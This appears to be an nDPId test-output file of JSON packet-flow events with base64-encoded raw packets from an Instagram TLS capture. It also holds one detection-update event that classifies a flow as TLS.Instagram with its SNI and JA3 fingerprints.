+00548{"flow_id":35,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2095,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":544807,"pkt_caplen":150,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":150,"pkt_l4_len":116,"pkt":"xiwDYGpkxGGLNYKpCABFAACIAABAAEAGAnbAqAIRHw1WNMDOAbvBtYfQmxhZ+4AYCAhlsQAAAQEICg1wdWXYQy0CFwMDABUMrNQ3GUNadmOfoLt\/DYfAX4KLF1oXAwMANamLpAeKjA\/aPZDVQfMhMlY\/3s+OhGIAbzgS+vTspQbL6ew6l\/aeWMkpqiIoOoaqrKn+e30e"} +00430{"flow_id":36,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2096,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":551390,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0ktsAAFQGm+4fDVY0wKgCEQG7wM\/pQUIE\/UzqtoAQAHEqgAAAAQEIChQQpxwNcHVg"} +00430{"flow_id":36,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2097,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":551458,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0ktwAAFQGm+0fDVY0wKgCEQG7wM\/pQUIE\/Uzst4AQAHUoewAAAQEIChQQpxwNcHVg"} +00733{"flow_id":36,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2098,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":551766,"pkt_caplen":288,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":288,"pkt_l4_len":254,"pkt":"xGGLNYKpxiwDYGpkCABFAAESkt0AAFQGmw4fDVY0wKgCEQG7wM\/pQUIE\/Uzst4AYAHV9iwAAAQEIChQQpxwNcHVgFgMDAIACAAB8AwO2vxlY5R8lsRFEyU+YGfcc9Zs7xC53L7Dp925P\/asA4iBlqQjva1tIZWpLGugxipAgopwgiPn9JIzY3sS4pJS4ixMBAAA0ACsAAvsaADMAJAAdACCp\/1gDFAENGUpwM5Fk3L2hD1pTRKOhnZGwPgn+szV5eQApAAIAABQDAwABARcDAwBOQ+bCv4rPDbN7ez8\/rg6XbNyujZh2PtuXjqnUpcCx71OTSSTGndLIOV05WjtA4XvgONYEldLuUqGwUEIPEUj7gsA\/mG+uC5J35jV44TC3"} +00846{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2098,"source":"instagram.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":8,"flow_first_seen":1568796254524,"flow_last_seen":1568796254551,"flow_tot_l4_data_len":1430,"flow_min_l4_data_len":32,"flow_max_l4_data_len":545,"flow_avg_l4_data_len":178,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"31.13.86.52","src_port":49359,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Instagram","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.3 (Fizz)","client_requested_server_name":"scontent-mxp1-1.cdninstagram.com","ja3":"44dab16d680ef93487bc16ad23b3ffb1","ja3s":"fcb2d4d0991292272fcb1e464eedfd43","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.3 (Fizz)"}} +01290{"flow_id":36,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2099,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":552367,"pkt_caplen":699,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":699,"pkt_l4_len":665,"pkt":"xGGLNYKpxiwDYGpkCABFAAKtkt4AAFQGmXIfDVY0wKgCEQG7wM\/pQULi\/Uzst4AQAHUTXwAAAQEIChQQpx0NcHVgFwMDAnQLH8+P\/E6e9HrxK\/N8Liu3Qk0\/GM9fiqwPY\/iOoSlP0vDXS362YeDvpodpldvLz6E8q06BrRTaXdExfHXj4FBzTxAlp\/2GAePVyyNPx4JEuAW+7b3I1Msag8q8Q1NneeuSjv\/w6s97TU9E8sXMnXh892EibLNlE+UjvFCi6KB8wCfZe1FgdK8l25hRgCDa\/X1PrOUoouxMBOiOFiS+bgRDJtnLCIzqRxzphi0Iy6ehOxQwRrFSFUZndCJywgVLuq8GJM4Zh7Xr9H5yeQWgByXZgvgXhWnpvktGmrIVmWgbgoyYpvkcN8amPbZa8JaNRV0B8emrV1\/nKnn830p4dvSbtsYx7peoQ6XlfYCr6YhXPqmK5dLvN1YjXkkDmXK+IyZakbm06uzIu87BZbtTT5ZEITgUXcmm5C68imaXmasZBfIU2msfDfi3\/5sBHsl4543h7kUaAOyxoBK+1WRoQFHjtdIwpd1I9K9UyHGR2FeYZvAQC+JLHNvd6O2jZCeYMtBzGizktJCB\/W5130WIILOFGnvftkoCh+fdt36VPdE1OGcex42DTzMlpkRkmFkNEMGyNOPv0aAcZcsP+LOtxNFzmZ4kRMfLHjqdAlP\/xHtbdDSyHy1i6Ddqc+DcEgjFY7eRvj8fKUoGhc+dygNuC2yPQK0S4aCCbtBZlVKHv7cqxfgx9GnkC1XchzhTIFhpLfS\/DiR9SbT3NSzOvqV+BGeBsf0R4u3qIxK8qeWjV6pdo2hHcxuGzmmKE6s50B7QVkC+gzEzWXHRkPKhFrtExEx7D\/X+Kyg+cNzQiIngHgiSY1MZrzwICnw5ghnGARLaz8BAE6SD"} +02315{"flow_id":36,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2100,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":552721,"pkt_caplen":1454,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1454,"pkt_l4_len":1420,"pkt":"xGGLNYKpxiwDYGpkCABFAAWgkt8AAFQGln4fDVY0wKgCEQG7wM\/pQUVb\/Uzst4AQAHWpmQAAAQEIChQQpx0NcHVgFwMDEBF0Gwp4gjZEKa6n8bUQgtekML2zs34xi0oP+wLFrn7OvAhBIVQU\/FA2nfYNTP\/myyIoIq\/tV7KVXyO38Wlr9Wof47SLcwqQbdR3jHLbXzx7CUx0b+Ru94DGcfQKBlH8kNV9RLBfeuECKOtgGB0qPX+RF6qC+kzeSOjyP1QVFQPgollgyB3rzRLo0wr0rzj\/DEUOS3hzKIcCwvb2K0J4DPbW3sfiQdnvSWqsgRDCXOCeNtKRiWDRozTgD949W\/9QxW3QJv2AEXOFR1dTMbazQjfTOtrmk8hjavo6tw9k2h5x04vloNRLeIOHqX7ntGQ5bA7DvtYnGP5F4zRXni5VP9hen9YhlKja85Iy5l4qlMp2nVNcCXYR+AL8oJgp9fDG8v4qciCOIywcTpBvdqH9hYKRCnaToRV9ziWF1EJnYTQJJcXRPSAxm9YpiQJ3H8G2Gu1KAqXWvU7S9yx58+CAkCJiLw718yjd0MI3STDOqFUNbkx7m\/FUO+WJB5sFw1teq88x6coSNsU78M7gQ55kl8vNjb+2bHEFmNrBzc17MJwVPgvEj+NFpz80Pllvp3sVOOqJt51hnhJPpPZc1Y+TXVVYeKXqVrhG+nPg16mHIz5G+pYwK8Eemvl2oZBKM6vnofPS0YLFbmI+C9iXupZnzizV6JqZ4p4evWFu1dm\/+yswBfZUlZSEdKy6JfTne0\/v5ZfbKX8nZohQBSJn3bsqLQcKJOeuwxDImLRQ+nfVXdWeQn7qJUPhJqePfhriJKSqXoompKmrIMtoYfuJjQYB8g+jPyd+LrYweS67I75omq2v5\/EOXzhPY5ryfpMyO25EzfEFsch6I4nHyX\/8Uaow3grMx\/S85r2V5ILkemWcvKoE\/2cLT7RW6zEaJn2fSxI6ipOjjHGr8mrAYLEtl9wMCM0zZXlKssLGNVLrkixbBbVOVP5s4ZwZT1kicy7Jkag438DPzkKSKHZJZV3J50c0u7Tz17xsJpw2MLBnl6ENjwwvHBOuotwPJmqxxCHjsCC994FfwPaDroXEyiJBTeX2sUUZ2ktot7pshnb24YRnhCGEe\/qzpSS58zp8bgACG5ho\/OB89hDWiT68ilT3hF2kxgS8rfyldfc4n9QqMHxBrrQ2bmxTC2kx8theVP7hqk6Jv2CPKt0bX73lKqMmfRGqEjwTvt60ppn6RiO4lZKvR8By8\/f7I6b\/kSTah0ewkEpJlXiOD8QLW3fyKh\/AdAe7ACJEU\/h9XOx1zSTU5X137ACOPDc19XBoWLJxYHKN3SjX7C+tbcOVqzANb3ehStFi5jGMbrXHZj4eYpM8UuJiXE9tg7P3LY5MbaHePh\/7i3nL3y8VJLyYkEVwnyY1F5nUZ77ztO31IrI7opsnW4+ohwDIn4BjlHevyenDQRcbZYr6W4PV8jdLVCAQ2PDLrrc1IT1tKlJd1X6YAaMHahwxJFWeAwg7icYvB5sAdGlh+opijOZjwAJoqgWUG5ZBg5MlF75yp8J\/Q65WnCAlfanlkOwnyjdp6D95OxiZKFoUUHr9kPxy0W1Kj7XXh\/QjYuD8Zb6adU3FzULVvlhkV0mXB4Dck11hO3UzuDznR2IOl8IpX5IJ5T6kFqM10p4c0JP8zt7ru883bLK9DmKR1UOStwMpS10gAMl3xvV5eWJ0NV8aOakJoZcJ53gYaGpNx+fWV\/CGgPX7h5ChT6w\/SLY94XCGVbs8WbQ6yj3cEMUq5CPyv04xB7ob6t4k15Ao7i2My236yKoKqSNGzurk\/Gyq\/Ys0JWJuRoP533bkuL\/ihLkfnfutk2ehWgL3oHtW9NsgU11ImoH515EOwN9PnrOCoRBpXvssXknA++k="} +02318{"flow_id":36,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2101,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":552992,"pkt_caplen":1454,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1454,"pkt_l4_len":1420,"pkt":"xGGLNYKpxiwDYGpkCABFAAWgkuAAAFQGln0fDVY0wKgCEQG7wM\/pQUrH\/Uzst4AQAHXsKQAAAQEIChQQpx0NcHVgZgSWssYDqw7qFQTNOW7agpWilr9\/HcT6Isx+rWO4oKNDMgOd5XvJDnm+bvC71i3N3NlXRO2\/V2VvgTxTxrvoevQTiiopFw4FPSDTyOCtwVV8mgmfrlpb8F0XA+dXfcFyt7pBqbafZrJTx5TUcpw4IBp65MiKC\/R1Sx6uDVLxurOCxmVY1+jNmMRIpfDj0eOT\/0XnQNHsbtzs5ZMrwvWCoP\/3PNMuqfvPQh9xPQk8leD8aWmKNvPLOyK0Jd\/j9XiuC0Z0pIlhsUUMcjCy9vexk3CG7sKpz4D1COXEkoSMWz3Se\/sxPOpe3ndfm0Q3UfxFM+GfXRP7zOb0lSpvonyPKBiAUQVvEqF8E6IBrmmVR1iesnLq8FeSogbedtiykwqr1GFFCbKB3gwfIW7am\/PR2ivtUsZ4bf1Sn6L49\/mZP\/W5p8HUw8OrNlvTYYDoaqWiugKM5jCJej4uIxsSdrtufetoubhlCOhhwrP6AzqozrOMm+3hR9S5JfgaCb7CEoHte57EUEb19atugc2VXjDy1Y59DcyWVQSWgsyqasVKFlcQ+YofhFveEqpMCyjAGFTuIB1hgai6+sUcf3djaN88l2BPZvC4\/ySFLhPWE6rIOIcoAIHQoEgrdXZjtmoBweg2QFHatbGwvcy\/zOYtzUan4dP4PmTqkThg4xlOoJIjctR0TXG0GqED+3i0FgMNjvVVJKi3kiiyo2k1w1TdtxX1SjCjfdXLlSzKNlaquYHrin051KF9mcxCw2twcFWe24rDsq9JUx01yHPwCX9cUI63GuwbIGi0EIT0\/VbqrRhHtLbwgasNLr+ACBfjL+yibYp161E2enGu157vXmIlIQUlK34ZcHPaPBhCtRkmB5uI5iLlUFzZQI5WXEivwGuikSb+6kYxc3SyuU+GdbX+d6XLgpbBnVgzfLAEDPN8\/iZtDA\/pwIGEfvbcaUniDQcK58+weIsQ\/QBirvGz7qOcvh9zycuXv6134K44tZXjAHkXa7VJAng2aMaJxmJvlvgWArCj3Leu8DTkowKqrzdfkqN1rngPdL3P5aGDjEcDhuscSiYHEczD8sOHwftrVPPBx0njGS\/PfzeqGoZTsY\/txoCnqcsFz1OGB+f\/wh3db3mkWZSRO8FMwwoX7w0hbLUUOsEZL344p\/+9aIH4b0nzoKTN+NZE97EIye+gNzbkXOX9bY\/XV7fREBfaVH6WhI15yrbtvb9\/6KPcYigtUZd7Nt\/+BZN+8Yet7doAyAkhkX0nzmd5AylHvRngkC1WBn4NferY7leGBFpXxkmLW5oml75pkWj1QMG+cdpNiiGUXZ9khWIZATjpx7UX1cWx6vBhVCPN1z7X+hcaHz\/bRbIxa2Yn+XDOPPR5ApBuwcs2sQtJSST6CaEd30yG6Nf5wFpH2QOXYutodMhy2BTIq\/1HoA8VXeR8rVoV+26lb50cKQrhSNcUdgYKYWO\/ExrE\/Qhn+tImoirf3KcojWAYtg8QslZ0JQJhum\/4SdUmDjKLYz08O368BUUAFX1Fv1LG++iiQUZIoZVqw2aGM1h4X1hVpiQ+cFrSE82CzlURLHR54mOoOwKNtAV6wF1PV3birwbJ0z1VKFUqSU7ZjA36U3lJL9JtWq6WYd1w4deUWMMxVz7vGy9I8ER+NdsqE4emRD3CwzkxAXLnfxqFHoTwKoq6mhOiPB1Gz5IMOMB761Mub5eGW3VEnDc3YBgKVhIX3Bg4jU\/7JQema5TtrT1hO2ocoThrqe1Ik6PJ9kAGEcpIma41Xe1BLISGVszycsJjxzAymNk+tJZTQ2gFSrTZNRFwcujeq2Ry+Xzv0fS3km0rtZPmS0XM9gIHY4EM1MkgXUg="} +02319{"flow_id":36,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2102,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":553099,"pkt_caplen":1454,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1454,"pkt_l4_len":1420,"pkt":"xGGLNYKpxiwDYGpkCABFAAWgkuEAAFQGlnwfDVY0wKgCEQG7wM\/pQVAz\/Uzst4AQAHXewwAAAQEIChQQpx0NcHVgXl9+1L1UKb0pJ\/ccssPidfYlJw7CrbGQ4EIez5ZNn2Tx6hzNYFC4Jysu6\/Ehx0TYoJf3Wd8V\/AExh9oOE5C3A\/76Sc9A1dhS+qArUEylY63MwFBF2WfGicTmyzMwN2AFcbJQaabiaZA1HWPCM79hJWoCuQy7CYFdpfvGpHJ6ypSFOfhN\/UOkewsc1uzMudcVu\/ZYY+uZHsL1QJtwsAbckxBXmHk6yU3T0aoQwgZloF2346DDuFXf1KkxeByzObSda\/g5uP5fmpI+PjZ\/Khsj+lWXDOR8l7kkqVkXg53Q4axJ2qnzw6lvgoxgZ9C2um9FkUJ5eLnpMLH9QQ0LFYMOI4Qe9v0\/lE4628MeVdtIpJRzPVOMBgksboUo7wP8+xow1Ig46d+ZAuMwz8ul9CeTeKHV2fE+reYmkELE+EkcpesoVBJDkOkjQtAnT0\/oMy\/6cuJzNjJ9k9RQrAL5nDb7TRi\/eZJ1t7tUMycazlwawWr\/qJWlBG6GfUVQsltVrSHd3DOO3MOR0eC0jV0riw+PD\/5TueN6ORS7PPy1f0CBJGfWZFKuruTpTncmqYgkPDONb9meX8\/KrlhlQcYHBCFfzt30TYDA0rkiv+YoAUcxS3uBjiv97gMEIyl+bDSEA78Fyxg0K3JYtqIylv1IoNjcVQJaUuEeCPbzW8Pu\/g2MtypfrhRAzAKAO8+OScuGFvyBMfrY+adD4YcBSyABxW5qRva7U09VYuE6hsgUEjJwVi3iV+9gCjS+S+9MQ0PMhbQXCQaWsm1yC1qLvpvdiNa4bvpVxfKaI5xcOE\/zO3wmBvWOjrlDu2Z8QqS73YRuyNFd6rkGfagD53\/1klJM2FQN4LgyAqjpcnNTwAezzSW3rEoVgeJYOpdtg9CMYqW3Kv0gx9QXAHwKdm8pwRvxcgQtD\/ViIaAvb\/uGyBZOLfMkULga7Ik5ykiKhz1frYXi1QkZhr3FBtdORD5\/NaZUgSkhSHAi1BFlSUbYhAiVaksDhfmjWdh4mOqOHwdyf4ppGthirg92yH\/Bx\/qGpjI3UCyAq8DGxWIROn\/fPSOYn1yxh6Gi7oOspANEzctDQ+VrcYHQ6umQXqP6xSFKdsTmTCwYdQMmy361OmofKQs4husf3a0J5zqZ\/vUXPy7yYpCbIfSJvPKE5QoZDqILcv4hBVsns90qwPVudbzPpuOuzUYe3zjU60OqNSbmv2uPknUKAmeaIeIN2mFjnrIfyV57RlVynQEIBikE+ETg9x+Qcee2hxDjCrvGC3EdraHcFEK+u6dkBn5hg3Kw\/y6U7Dp3Olc0hfvFcknfBnIsMR5u000GdvU3bUnoaudCIoboMbgFFRH0Ia37puXqFtmwGO2lHAA3fkO5rAFTqYKGkd9g3sO5LJ53AIVaH7zgo7TyqxD9bCPCed3KWP9JNcWZtqticHXPFd9RPSqXiyI7FHJtdRr7H92BngcGBv3DGGjnCxyik+WabCHCmLrwGqQufpWqQ0+MFPyLSSgfLfKznP4pVK38S1z1kXkM1OPnctHdrO31QWr8rKqqJNDY2zWYLCS02hnIl2kga9CMhGs3CKUEH3Xyuyk6+YQ1u\/iMNSlqlGITbGkTr2\/CTnOJo3mpVMq9+L2DX7ZonPyArhYuADjHDqiHMdyHN1PQuw8C+3\/wllsa7++ylIb23ATqT451NIg7RW82JWj09gaj0F3NjYJ2k5wKfML1ZkPyJE3weLPyTrtQ7Olv8VRVQWyoCofw2PT7bqvOIxjhA6OzqKb2OCPCokp7WgH0XlhZLz429wBIirHGBxcDAxARIZJ3O5tx3dUG3qesqbcH3KN2hkqXSU\/wmCes5UHkoo9DACaxtxkMqX4="} +00430{"flow_id":36,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2103,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":553345,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGAsrAqAIRHw1WNMDPAbv9TOy36UFC4oAQCAgf\/QAAAQEICg1wdW0UEKcc"} +02324{"flow_id":36,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2104,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":553487,"pkt_caplen":1454,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1454,"pkt_l4_len":1420,"pkt":"xGGLNYKpxiwDYGpkCABFAAWgkuIAAFQGlnsfDVY0wKgCEQG7wM\/pQVWf\/Uzst4AQAHV+3gAAAQEIChQQpx0NcHVgb\/5\/xGY+CsPUlTqZxSWNOu3l3qQOQsSnmGPCqqQwWEvhH0adC7QqtVl4hqWXBgWbos0E4HUkEOJaGzdexHKbw937yL5MQ0xKmRZhS\/\/bGhbX+KgWFerBQfXVzzCmfuFRI4k7yLnFLLxgnpRCY9zAjjHX66qcIFDEFCXGzYt+d1nQJzd1wgBAErUnohhBqEbdF9qwtAviGnUsC7Ic6VcBTsHwjehDV7I+6HKNA9T+ekA+BN5QFL1r6cgCpMF0rcto7vBQyt3AulLTXWblSEg5a2RE+SYFffbK1xQ\/Zj+eTjMbi3I8ODemqge21FI3285778ivvWijqPbQX8kgRUboYxsnMODOnfdc6\/YIn95HEzr3Y3li9BYiIapC551Hsnzz2ROqvvS\/keZF+3E+\/jLjbU0wh9piGUG0P0LrjLP6rowvqyDXceXJOnQLwM1b\/Msn1+EpX5yCBv2rXF7az5raUuc1XSen7b1HnnhEk5s0U3MHC94XN4z+Iq5kWUeiFXt8d0qPa\/ME+zwfBbsIF0fHPpiGE+QJt5WZsYS+WdmPw8DA4+k3HTubhVrrd\/asFpkvPyL7G6AU0ykBJKgF2JmFD4ot3PcKGq0xsANshRjijNpvbk\/V2AsSs6xzLOgSRYDy+\/6bg\/SLOpEIDubPZ6RwNUegGr+f8nYpwPkiv0NuypeiruAcjVJpyeY1GBbBip3cuY\/M6JdCd8hEaT3GnJI9aPnb9CwzaCPGxLY6ABA6OoSc+FHvcq6asJ6InFcHcTosBrO\/VK8RzfI2ajqHMs9Mi8u43W18hmjP2pV\/D+iNKwRKLOQqpAO15iCIdnyjhLr4C0Y0qu6rEIc+HZkqcct70MSXykDsT62UQqMPxqxD2fOlo8VPcjnNyybhtnq0w+ICfZLXY1g9mSrRPtfWe5jw1bbupNu1yVZRd7VxldZ8baz\/VvKHawvmFPHCE2SU7iBYowsxPGVhyBTK2RApD2iVTn2FkT\/X+Tu4f2efAfI3rpKM9sKbB3Zph\/yiGVE2+xk+Pzb6OmdVsYeOfNPVKZQClEsU1AveWKSmxmSlDxnWlKtw9iBf+jWM8+KQDKUQ2trLUtm62ZQCLcZ9lZr7nJaMISPmHmGPK0Cm3ZuDKRx89OqSlC\/SXvAxPUXJXBzSB4zUF3KpNTyvEehBHfYQcmpCLwQz1Oycwq2OMunErAbHW51AzovdjAvt8f3kjCfU0wsxdNvwDj\/CiILHo5VgrzgVQjjBN2rPK2KcjTFaxABRo5X\/\/3MulOFCvoQkbiq\/YK\/o6qrRRnvjdRkrsVD+EpEWi3m4x+jM+ORnNYbeOzLeiGzV3Uz3SqiNG4TMpqHvamr24Q219y19\/niA1+x4HCzLBLhzyFGsPHFAojZSmCTMmPKXKV5o1TbhRjL\/Yo0VNwNFFQ3JgO3JRFx0A7r2esdNmlTtIbDEfhdbOn0VgyuCPSgX65H9xL+IbDaAYhwlHT1CLrmbZP877ld1lZIoz2Uws7mbS4t1fjAEJ\/PCG\/TK8uxSj4zq4TkamDgY9rV4YcCYvu0MAB8MUZm6ylylkhjf7kJAEQQyYUKKiNfBTyNkkgtvqho0z9jkxfr1bk\/fa9\/2nq+zJrSGv\/n0koeZdCGzddIPdW+SJ0uU2UyHwr1T9fp664U1MKdAWBeSam+3nijNExV49PDZO7x8myk\/JaWNX1KXZCC9S6stTHti2fURN0LtE7dFuWPFFHTnNLEPsGgYsEYFZVTMkzWlBfiVjy6AO54JsRbCR5vIoMrLw5FCByi3mGj5lZGxGWFXzei8OfwQrqWFUe9KpNUO3ST1x5f9BVhDPpNWLEtom\/kh+EIFLVbC030tztUBJxc3mgs="} +02322{"flow_id":36,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2105,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":553625,"pkt_caplen":1454,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1454,"pkt_l4_len":1420,"pkt":"xGGLNYKpxiwDYGpkCABFAAWgkuMAAFQGlnofDVY0wKgCEQG7wM\/pQVsL\/Uzst4AQAHW5tQAAAQEIChQQpx0NcHVgKYswBDwaAG\/ob5e7s9Fuh3IJQsm7DhSLFSVmgX5BTcQaWvd+VDaNq1VvsxjDIJq7DSvCP3hpnY2TluMnXIzz8Lt8XSYg4hcZRtyfr05u1UxAbbuv\/mTFHP+pEtuhjyYJCnfd+jWOWcuy1HeEagNqR\/otrc7zMf\/F0vqMg14rjxIpCV96QD0MZ6aLedxRlcpgQ46isibCUHl6SAcwPkaowZH7qGK3epvkO7hYLjtMDofG69b0Ylwr865Bhzd6bAuGaRec5Q01WyD9yrOZofEyLajAROBd1zkZvxFpUwRvpBMS8SWML0M+2u527v9Lk3Ip6iHKcqnCwTBOc1vYt8AaqPBZaRu7AUWFUZOsLkPGiSzOz9DWCx2rj88elv7NXb30JJMkoSoWQ6dRG08fHbzeQ0PiNmcEQ7AXYFW+WdiPXq+1sTpc2bC0\/cG1Dzo\/20vDz6DG\/TZLS+XzxYKxVKy5lT9eQ8x1la\/J34gqITNCdYJO87YcEkeMwCX83b6Oam5Bwf1ryAY6Lgm8EJEMNPh2BT\/CFJxSGmVWNsjfBYipZGFMRMmLrYNwyBUA+FDr+Xj54MfObdptq5kON8epvTJ6C\/87Kq97N1HaDl94uFIEiz+RgIO95DZPMboKoGISGVMSK8WWl1jwcktqlFNF0Y7S07Im\/V47Dk\/mIkMn+xmM\/\/gmn2ocS9kioz9MllX7kJytfl+fqUJZ99EigjSSoCgbdAtG+u6Q+uJEIO8TpqYq0AO3CgifYwfF6hkpMVJIxLXKtbKUoRJ+PcyvjdtoOMYqbEqAOe7Y4aq6EnjbGr39onXEq5afnnjfxAp6PWkzyKM9q\/v2wYgoijsa+4IeQRCHXSicDT803e36LyPRANo53wimpAtG7TDBuFwzU92l9EfmFrb228rAmkwZoXhcPvt+X3Ll2vHsPPRhIZsy9qgSh+Jnt+etbIcoXar6fe5DxM3FMlHFIaU+\/IiCvLNSoEQzYALZKMcWCP4gsftCIWP1bgDxp\/aoJKO3DVPqSFHXOlA8F6fq5vVVVpYKXKR+wL53YVlnA8iaHfwEgwdWClKJoxR1A2AH\/T3rWV1n5zF5ZkeICBoLomJb9MNhu1OOmvHulH9P6BwV+Q6MbRtD\/urL1OPWzsfdKGqeihUgQ84yIl6MULEY9MDuZoSQa0MwHnij9GPAUL6DEwfQ4v4HSH34oNRsc\/4B3eMmN+Yol\/9sv0BG1LkOSBuBulmw0B\/5xtMQM\/g6AtPZen5a8cAVlXftaI74urv\/ei1D4ecznI8G+7bv7gW9lML5uN3qZxnKJoOYd15z5\/lUlRvoKJgqaJ\/3NG8Z+vKYbobp59iLC0D9i5TsPuxJ5QREFsVcSz74vuUsvaJ6qBkg2rR9wcuG6NLtYzc3EfGA3WjChnS6hhKphc0IF17kH360+k2kJeBsAEFBA0HFb9giuXcLX7ivDb7JrNYx2taYLbihRp3B+mKZURGj3i3CoKZx3fbnfYxrHWK5RLM5EjpuGqFInwr5Z+K0muhCwaWD7UPXcKRKF0n6GSTsHFprV6lzEvRgNrD5RNhrvhVVutdpEHqhg8ySOj4ZHJzO6ZVUbpP+fKKF\/dAnyay0d2pbIBNKCf4BAtWkF8cMYErFNHZYGFlt340c53MN25396WDRYwstjbPtUPkXemxGuij7sM2kTyt5woARI1oe\/BgILyH5gHDFwpFIkBXbxwQaPJCaww89ufyo73D5vP2GTyM6AiXe+QwW3PqqIjN7Riy402V\/NBGp\/+DZpZ+9LygeaHLC+oE5DW+5jIqxTQuOHIpg4QqhsepE\/pgXoo4Hu7AVMYJc4QlgL1sj3woyMWnnI\/lChkfJ67\/R4Hw="} +00675{"flow_id":34,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2109,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":554338,"pkt_caplen":244,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":244,"pkt_l4_len":210,"pkt":"xGGLNYKpxiwDYGpkCABFAADmR3QAAFQG5qMfDVY0wKgCEQG7wM2mvmf7Acaum4AYAHZQ4gAAAQEIChT1neINcHVkFwMDAK1akumFV4pqVhGoG6lswpPY\/JBWcijL7iHYQunlhH8LzUO2ywOi9pMHPsRfPfWBHWpd+d9n27u9ZKn8HZiT8Ph4fNQpJOC9fjw+GD8JIoCaiaBI3E6pbdAd4w+VGuftkDA\/baE76qUpjHQOWsz6H7uO4ORV\/vAU8n5bpqVYdUEu6b9ZJKdjNs8TqaFzxfzqHftOg7vySKFvqAZciUvncA09z9XKDcxLwAlOVGsyeQ=="} +00672{"flow_id":35,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2112,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":555127,"pkt_caplen":244,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":244,"pkt_l4_len":210,"pkt":"xGGLNYKpxiwDYGpkCABFAADmW4MAAFQG0pQfDVY0wKgCEQG7wM6bGFn7wbWIJIAYAHXk2AAAAQEICthDLQ4NcHVlFwMDAK3eEF0eZSiaI3FIuucizHQ6xoA7LaqwJotyyKi2P+Q2fC158VMzy2lI0Aa0J4zdxjVxmpApNZV3zTWYfXintsMVRXRQLuT4d7nwKV34BABK6egPhMk6tx9otpxroAZ0n04bz4D+at2SzUZjWhMhwiWSLAJnXTW5snm0DGnDvU+xbiOUbV6aDCznxn9Q83FYbfLai5smoPgTYNloWnk6117JMzW3ddba28v8IfsB0g=="} 